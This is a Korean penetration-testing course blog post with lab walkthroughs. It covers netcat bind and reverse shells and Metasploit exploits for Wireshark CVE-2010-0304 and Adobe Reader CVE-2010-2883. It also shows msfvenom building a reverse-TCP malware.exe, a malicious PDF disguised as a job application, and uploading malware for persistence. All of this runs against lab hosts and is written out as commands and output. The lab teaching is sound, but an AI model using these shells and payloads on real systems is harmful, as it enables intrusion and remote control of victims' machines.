모의해킹 - 5 (교육 74일차)

SW·2023년 3월 12일
0

실습> bind connection 이해하기

bind connection 은 Victim에서 포트를 열고 Attacker가 Victim으로 접속하는 연결 방식이다.
bind connection 은 Victim에서 방화벽이 설정되어 있는 경우에는 접속이 불가능하다.

Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 없는 경우
  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |          |
|  51200 ----------------> 8000  |
|          |          |          |
|          |          |          |
+----------+          +----------+
    .3                     .4
         200.200.200.0/24

bind connection 의 조건 : 
- Victim에 방화벽이 없어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 
- Attacker가 접속할 수 없는 상황이 된다.

1. Victim 방화벽 해제
firewall.cpl -> 사용안함.

2. nc 다운로드
[root@kali ~]# cp /usr/share/windows-binaries/nc.exe /var/www/html/

http://200.200.200.3/nc.exe -> 바탕화면에 저장 -> 실행

3. Victim 포트 오픈
Cmd line: -lvp 8000

다른 터미널을 열어서 열린 포트를 확인한다.
C:\>netstat -na |findstr 8000
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING

4. Attacker 에서 접속
[root@kali ~]# nc 200.200.200.4 8000

5. 포트 확인
다른 터미널을 접속해서 연결된 포트를 확인한다.
C:\> netstat -na | grep 8000
TCP   200.200.200.4:8000     200.200.200.3:51200  ESTABLISHED

[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:51200     200.200.200.4:8000      ESTABLISHED

6. data 전송/확인
C:\> nc -lvp 8000
aaa
bbb
ccc
ddd

[root@kali ~]# nc 200.200.200.4 8000
aaa
bbb
ccc
ddd
^C  <-- 통신을 종료하기 위해서는 Ctrl + C 를 누른다.


                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |   <--+|  |          |
|          |      ||  |          |
|  51200 ---------+|       8000  |
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

7. 방화벽 설정
cmd -> firewall.cpl -> 사용

방화벽에서 메세지가 나오면 계속 차단을 클릭한다.
C:\>nc -lvp 8000
listening on [any] 8000 ...

8. Attacker에서 접속
Attacker에서 Victim으로 접속을 하지만 방화벽에 의해서 차단되서 접속이 금지가 된다.
[root@kali ~]# nc 200.200.200.4 8000
(UNKNOWN) [200.200.200.4] 8000 (?) : Connection timed out

실습> reverse connection 이해하기

reverse connection 은 Attacker에서 포트를 열고 Victime이 Attacker로 접속하는 연결 방식이다.
이 방식이 필요한 이유는 Victim이 포트를 열었지만 방화벽에서 Attacker가 접속할 수 없는 상황이 되기 때문이다.


Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |       |  |          |
|          |       |  |          |
|  8000  <---------------  1032  |
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

reverese connection 의 조건 : 
- Victim에 방화벽이 활성화되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- 그러므로 Victim에서 Attacker쪽으로 나와야 하는 상황이다.

1. Victim 방화벽 활성화
위에서 이미 설정했으므로 Skip

2. Attacker 포트 오픈
[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...

다른 터미널을 접속해서 연결된 포트를 확인한다.
[root@kali ~]# netstat -nltp | grep 8000
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      289033/nc 

3. Victim에서 접속

C:\>nc 200.200.200.3 8000

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1032

4. 포트 확인
다른 터미널을 열어서 연결을 확인한다.
ESTABLISHED: 연결이 되어있다는 의미이다.
[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:8000      200.200.200.4:1032      ESTABLISHED

C:\>netstat -na | findstr 8000
  TCP    200.200.200.4:1032     200.200.200.3:8000     ESTABLISHED

5. Data 전송 확인

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1032
aaa
bbb
^C  <-- 통신을 종료하기 위해서는 Ctrl + C 를 누른다.

Cmd line: 200.200.200.3 8000    
aaa                             
bbb   

실습> bind shell 이해하기

bind shell은 bind connection 을 기반으로 Victim에서 포트를 열고 포트 뒤에서 쉘이 대기하고 있다가
Attacker가 Victim으로 접속하면 쉘이 실행되는 공격 형태이다.

Windows 버전
                     방화벽이 없는 경우
  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |     -p   |
|  33436 ----------------> 8000 [cmd.exe] -e 
|          |          |          |
|          |          |          |
+----------+          +----------+
    .3                     .4
         200.200.200.0/24

bind shell의 조건 : 
- Victim에 방화벽이 비활성화 되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- Victim에 포트를 열고 뒤에 쉘(cmd.exe)이 대기하고 있어야 한다.

1. Victim 방화벽 해제
firewall.cpl -> 사용 안함

2. Victim 포트 오픈
c:\> nc -lvp 8000 -e cmd.exe
listening on [any] 8000 ...

3. Attacker에서 접속
[root@kali ~]# nc 200.200.200.4 8000 
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>dir
   :
   :(생략)

4. 포트 확인
Attacker와 Victim의 연결된 포트를 확인한다.
[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:33436     200.200.200.4:8000      ESTABLISHED

C:\>netstat -na | findstr 8000
  TCP    200.200.200.4:8000     200.200.200.3:33436    ESTABLISHED

5. 연결 종료
C:\>exit

실습> reverse shell 이해하기

reverse shell은 reverse connection 을 기반으로 Attacker에서 포트를 열고 대기하고 있다가
Victim이 Attacker로 접속할 때 쉘을 가지고 나가면 연결 후에 Victim의 쉘이 실행되는 공격 형태이다.


Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |       |  |          |
|          |       |  |          |
|  8000  <---------------  1039 [cmd.exe] -e
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

reverse shell의 조건 : 
- Victim에 방화벽이 활성화(Inbound 쪽) 되어 있어도 상관없다.
- Victim에 방화벽이 Outbound 쪽도 설정되어 있다면 연결이 안될 수 있다.
- Victim에 방화벽이 있다면 Attacker에서 포트를 열었기 때문에 Attacker로 접속할 수 있는 상황이 된다.
- Victim이 Attacker로 연결할 때 쉘(cmd.exe)을 가지고 나가야 한다.

1. Victim 방화벽 활성화
firewall.cpl -> 사용

2. Attacker 포트 오픈
[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...

3. Victim 에서 접속
c:\>nc attacker.linuxmaster.net 8000 -e cmd.exe

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1039
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

4. 포트 확인

[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:8000      200.200.200.4:1039      ESTABLISHED

C:\>netstat -na | findstr 8000
  TCP    200.200.200.4:1039     200.200.200.3:8000     ESTABLISHED

실습> wireshark 취약점을 이용한 침투

CVE-2010-0304
wireshark_lwres_getaddrbyname 취약점
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/wireshark_lwres_getaddrbyname


-- 조건 --
Victim에서 패킷을 덤프 받고 있어야 한다.
-- 조건 --

wireshark의 취약점을 메타스플로잇 안에 공격코드가 들어있다.

1. 패킷 덤프
Victim 윈도우에서 패킷을 덤프 받고 Attacker에서 ping으로 패킷이 잘 수집이 되는지 확인한다.
[root@kali ~]# ping 200.200.200.4

2. 공격 패킷 전송
윈도우에서 패킷을 덤프받고 있을 때 공격패킷을 날리면 와이어샤크가 버퍼오버플로우를 일으켜 죽으면서 공격자에게 
리버스커넥션으로 연결된다. 결국 미터프리터 쉘이 실행된다.
자동화 하기 위해서 파일로 생성해서 msfconsole -r 로 실행한다.

vi > :set mouse= > 붙여넣기
[root@kali ~]# vi wireshark_lwres_getaddrbyname.rc
use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
set payload windows/meterpreter/reverse_tcp
set RHOSTS 200.200.200.4
set LHOST 200.200.200.3
set target 4
exploit

[root@kali ~]# msfconsole -r wireshark_lwres_getaddrbyname.rc 
  :
  :(생략)
[*] Processing wireshark_lwres_getaddrbyname.rc for ERB directives.
resource (wireshark_lwres_getaddrbyname.rc)> use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
resource (wireshark_lwres_getaddrbyname.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (wireshark_lwres_getaddrbyname.rc)> set RHOSTS 200.200.200.4
RHOSTS => 200.200.200.4
resource (wireshark_lwres_getaddrbyname.rc)> set LHOST 200.200.200.3
LHOST => 200.200.200.3
resource (wireshark_lwres_getaddrbyname.rc)> set target 4
target => 4
resource (wireshark_lwres_getaddrbyname.rc)> exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 200.200.200.3:4444 
msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > [*] Sending malformed LWRES packet every 5 seconds.
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:4444 -> 200.200.200.4:1035) at 2022-08-23 03:16:42 -0400

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > 
msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WINX  200.200.200.3:4444 -> 200.200.2
                                     P                               00.4:1035 (200.200.200.4)

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows


meterpreter > help migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.

meterpreter > help ps
Usage: ps [ options ] pattern

Use the command with no arguments to see all running processes.
The following options can be used to filter those results:

OPTIONS:

    -A   Filter on architecture
    -c   Filter only child processes of the current shell
    -h   Help menu.
    -S   Filter on process name
    -s   Filter only SYSTEM processes
    -U   Filter on user name
    -x   Filter for exact matches rather than regex

meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 120   700   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 188   700   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
 320   1052  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe
 448   1012  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tool
 480   880   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.e
 568   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 632   568   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 656   568   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.ex
 700   656   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   656   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 868   700   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
 880   700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 964   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1012  608   explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
 1052  700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1108  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1140  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1312  1012  cmd.exe            x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\cmd.exe
 1380  700   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1476  1688  dumpcap.exe        x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\dumpcap.
 1484  1012  Tcpview.exe        x86   0        VICTIM_WINXP\ksw     C:\Documents and Settings\ksw\占쏙옙쏙옙占쏙옙\Sysinternals
                                                                    Suite\Tcpview.exe
 1552  1052  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 1624  1892  cmd.exe            x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\cmd.exe
 1688  1012  wireshark.exe      x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\wireshar
 1752  1012  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1864  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1988  428   conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 1992  1012  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 2000  700   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
                                                                    hService.exe

migrate 명령어는 다른 프로세스로 갈아타는 명령어이다.
migrate를 하지 않으면 와이어샤크가 종료되면 접속이 끊어지므로 다른 프로세스로 갈아타야 한다.
explorer.exe 의 PID는 다르기 때문에 자신의 PID를 ps로 확인한 후 갈아탄다.
meterpreter > migrate 1012
[*] Migrating from 1688 to 1012...
[*] Migration completed successfully.
meterpreter >  shell
Process 532 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw>exit

실습> Adobe Acrobat Reader(pdf) 취약점을 이용한 침투

취약점 : pdf adobe_cooltype_sing

1. Adobe Reader와 Acrobat의 취약점의 개요

Release date: September 8, 2010
Last updated: October 5, 2010
Vulnerability identifier: APSA10-02
CVE number: CVE-2010-2883
Platform: All

※ Adobe Reader와 Acrobat의 CoolType.dll 모듈의 해결방안은 2010년 10월 5일 발표되었다.

- 개요
 o Adobe Reader와 Acrobat의 CoolType.dll 모듈이 잘못된 SING(Smart INdependent Glyphlets)
    글꼴이 포함된 PDF문서를 처리하는 과정에서, 오버플로우가 발생하여 원격코드가 실행되는
    취약점이 발견됨 [1, 2]
 o 공격자는 웹 페이지 은닉, 스팸 메일, 메신저의 링크 등을 통해 특수하게 조작된 PDF 문서를
    사용자가 열어보도록 유도하여 악성코드 유포 가능
 o Adobe Reader와 Acrobat 최신 버전에서도 해당 취약점이 존재하므로, 신뢰할 수 없는 PDF
    파일을 열어보지 않는 등의 사용자 주의가 요구됨

□ 영향 받는 시스템
 o 영향 받는 소프트웨어 [1]
  - 윈도우, 매킨토시 환경에서 동작하는 Adobe Acrobat 9.3.4 및 이전 버전 
  - 윈도우, 매킨토시, 유닉스 환경에서 동작하는 Adobe Reader 9.3.4 및 이전 버전

□ 해결 방안
 o Adobe Reader/Acrobat 9.3.4와 이전 버전 사용자는 9.4.0 버전으로 업데이트
  - Adobe Acrobat/Reader의 메뉴에서 "도움말" → "업데이트 확인"을 선택
  - Adobe 제품 업데이트 페이지[3]에서 해당 소프트웨어를 선택 후 다운로드 및 설치
 o 향후에도 유사 취약점 노출로 인한 피해예방을 위해 아래와 같이 안전한 인터넷 이용 습관을
    준수해야 함
  - 신뢰되지 않은 웹사이트의 PDF 파일 다운로드 주의
  - 의심되는 이메일에 포함된 PDF 파일 링크 또는 첨부를 클릭하지 않음
  - 개인방화벽과 백신제품 사용 등 

□ 용어 정리
 o PDF(Portable Document Format) : Adobe社가 개발한 다양한 플랫폼을 지원하는
    전자문서 파일 형식
 o Adobe Acrobat : PDF 문서 편집/제작을 지원하는 상용 프로그램
 o Adobe Reader : PDF 문서의 편집 기능은 없이 보기/인쇄만 할 수 있는 무료 프로그램
 o CoolType.dll : Adobe社 제품의 글꼴 표현 해상도를 높여주는 역할을 하는 모듈
 o SING(Smart INdependent Glyphlets) Font : 2005년 Adobe社에 의해 개발된 디지털 글꼴


□ 기타 문의사항
 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118


[참고사이트]
[1] http://www.adobe.com/support/security/advisories/apsa10-02.html
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883
[3] http://www.adobe.com/downloads/updates/

2. 공격 시나리오
Victim(피해자)쪽에서 pdf 파일을 열어보는 순간 Attacker(공격자)쪽에 연결되는 Reverse Connection 방식이다. 
이를 통해 다양한 방법으로 시나리오를 만들 수 있다.

가령 기업의 인사담당자 메일로 공격자가 pdf로 위장한 악성코드를 전송한다던지 
웹페이지에 pdf 파일을 올려놓고 공격 대상자들에게 미끼를 던져 이를 낚아챌 수도 있는 다양한 공격들을 생각해볼 수 있다.

이 취약점을 이용한 공격유형은 두 가지가 있다. 
첫 번째 방법은 공격파일(pdf)을 생성해서 Victim(피해자)이 이 파일을 열어볼 때 장악하는 방법
두 번째 방법은 웹 페이지에 공격코드를 삽입해서 올려놓고 Victim(피해자)이 웹페이지를 보는 순간 
자동으로 pdf가 실행되서 장악하는 방법들을 생각해볼 수 있다.
  
참고로 공격 pdf 파일을 악성 웹페이지에 올려놓고 Victim(피해자)이 이를 열어볼 때 Victim(피해자)에 
pdf를 설치하지 않았다면 브라우저에서 코드가 보이면서 공격은 더 이상 진행이 안된다는 걸 확인했다.

Attacker (공격자) Kali: 200.200.200.3
Victim   (피해자) Windows XP: 200.200.200.4

공격 시나리오 1: 공격파일(pdf)을 생성해서 윈도우 장악하기
공격자는 버퍼오버플로우를 발생시키는 공격코드를 pdf 파일로 만든 후
웹페이지에 게시한 후 victim(피해자)에서 pdf 파일로 접근 시 victim의 PC를 장악한다.

1. 공격 파일 생성
[root@kali ~]# vi adobe_cooltype_sing.rc
use exploit/windows/fileformat/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
exploit

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
run


[root@kali ~]# msfconsole -r adobe_cooltype_sing.rc 

  :
  :(생략)
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf  <-- 공격 파일 생성
resource (adobe_cooltype_sing.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (adobe_cooltype_sing.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (adobe_cooltype_sing.rc)> set LHOST 200.200.200.3
LHOST => 200.200.200.3
resource (adobe_cooltype_sing.rc)> set LPORT 443
LPORT => 443
resource (adobe_cooltype_sing.rc)> run
[*] Started reverse TCP handler on 200.200.200.3:443   <-- 공격 포트 대기

다른 터미널을 열어서 msf.pdf 를 웹디렉터리에 복사하고 웹서버를 실행한다.
[root@kali ~]# mv .msf4/local/msf.pdf /var/www/html/김초롱입사지원서.pdf
[root@kali ~]# systemctl start apache2

2. URL 전송
Victim(Target)에게 pdf URL을 전송해서 열어볼 수 있도록 유도한다. 
http://200.200.200.3/김초롱입사지원서.pdf

  :
  :(생략)
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Meterpreter session 1 opened (200.200.200.3:443 -> 200.200.200.200:1090) at 2022-10-06 04:41:33 -0400

meterpreter > 
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 376   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 408   1420  IEXPLORE.EXE       x86   0        VICTIM_WINXP\ksw     C:\Program Files\Internet Explorer\iexplore.exe
 452   852   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.exe
 532   376   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 556   376   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 588   1028  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 668   556   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 680   556   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 808   668   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 840   668   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 852   668   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 932   668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1028  668   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1072  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1088  1420  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 1108  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1116  1420  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1204  1420  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1240  1028  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe
 1420  1396  explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
 1516  1316  conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 1588  668   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1772  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1900  668   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
 2020  668   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

meterpreter > migrate 1420
[*] Migrating from 408 to 1420...
[*] Migration completed successfully.

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 612 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw>exit

실습> malware.exe 제작하기

msfvenom 옵션
lhost: 공격자 IP주소
lport: 공격자 포트번호
-f   : 실행파일 형식
-o   : 악성파일 경로
-p   : 공격 페이로드

1. 악성코드 제작
[root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp \
> lhost=200.200.200.3 lport=80 -f exe -o /var/www/html/malware.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe

2. 웹서버 실행
[root@kali ~]# systemctl start apache2

3. 악성코드 다운로드
Victim에서 악성코드를 다운로드 한다.
http://200.200.200.3/malware.exe

4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
[root@kali ~]# /etc/init.d/apache2 stop
[root@kali ~]# vi malware.rc
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

[root@kali ~]# msfconsole -r malware.rc 

5. 악성코드 실행
Victim 에서 악성코드를 다운로드 받아서 실행하면 공격자의 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.
실제로 웹에 사용하는 데이터를 체크하는 것이 아니고 80번 포트이면 허용하는 것이므로 이 부분을 생각해야 한다.
[*] Started reverse TCP handler on 200.200.200.3:80 
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:80 -> 200.200.200.4:1114) at 2023-03-09 19:33:17 -0500

meterpreter > 

meterpreter > sysinfo 
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > shell
Process 1156 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면>exit

실습> Adobe Acrobat Reader(pdf) 취약점을 이용한 침투

공격 시나리오 2 : 웹 페이지에 공격코드를 삽입해서 윈도우 장악하기
공격자는 msf로 대기하고 있고
Victim이 웹페이지에 접근할 때 취약한 pdf 프로그램이 자동으로 실행되면서 meterpreter 와 연결된다.

1. 공격 파일 생성
80, 443 포트를 열어 놓아야 한다... 
[root@kali ~]# vi adobe_cooltype_sing2.rc
use exploit/windows/browser/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set URIPATH pdf.html
set LHOST 200.200.200.3
set LPORT 443
set SRVPORT 80 
run

2. 공격 대기
80번 포트로 대기를 하기 때문에 웹서버를 중지한다.
[root@kali ~]# systemctl stop apache2 or /etc/init.d/apache2 stop

[root@kali ~]# msfconsole -r adobe_cooltype_sing2.rc 
  :
  :(생략)
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 200.200.200.3:443  <-- 공격 포트 대기
[*] Using URL: http://200.200.200.3/pdf.html
[*] Server started.

3. 웹페이지 접속
피해자가 공격자의 웹서버로 접속하면 리버스 커넥션이 연결된다.
http://200.200.200.3/pdf.html

msf6 exploit(windows/browser/adobe_cooltype_sing) > 
[*] 200.200.200.200  adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.200  adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.200  adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.200  adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Session ID 1 (200.200.200.3:443 -> 200.200.200.200:1101) processing InitialAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is iexplore.exe (1272) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (668)

msf6 exploit(windows/browser/adobe_cooltype_sing) > 
[+] Successfully migrated to services.exe (668) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 1 opened (200.200.200.3:443 -> 200.200.200.200:1101) at 2022-10-06 04:51:14 -0400

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM  200.200.200.3:443 -> 200.2
                                     _WINXP                     00.200.200:1101 (10.10.10.
                                                                100)

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 300 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> exit

실습> Adobe Acrobat Reader(pdf) + malware.exe

레지스트리 참고: https://ko.wikipedia.org/wiki/윈도우_레지스트리

Adobe Acrobat Reader(pdf) 취약점을 이용한 침투를 수행한 후 실행한다.

부팅해서 로그인을 하면 자동으로 실행될 수 있게 악성코드를 업로드 한다.
meterpreter shell 에서 upload 명령어의 도움말을 살펴본다.
meterpreter > help upload
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.

OPTIONS:

    -h  Help banner
    -r  Upload recursively

meterpreter > upload /var/www/html/malware.exe c:\\windows\\system32
[*] uploading  : /var/www/html/malware.exe -> c:\windows\system32
[*] uploaded   : /var/www/html/malware.exe -> c:\windows\system32\malware.exe

meterpreter shell 에서 reg 명령어의 도움말을 살펴본다.
meterpreter > help reg
Usage: reg [command] [options]
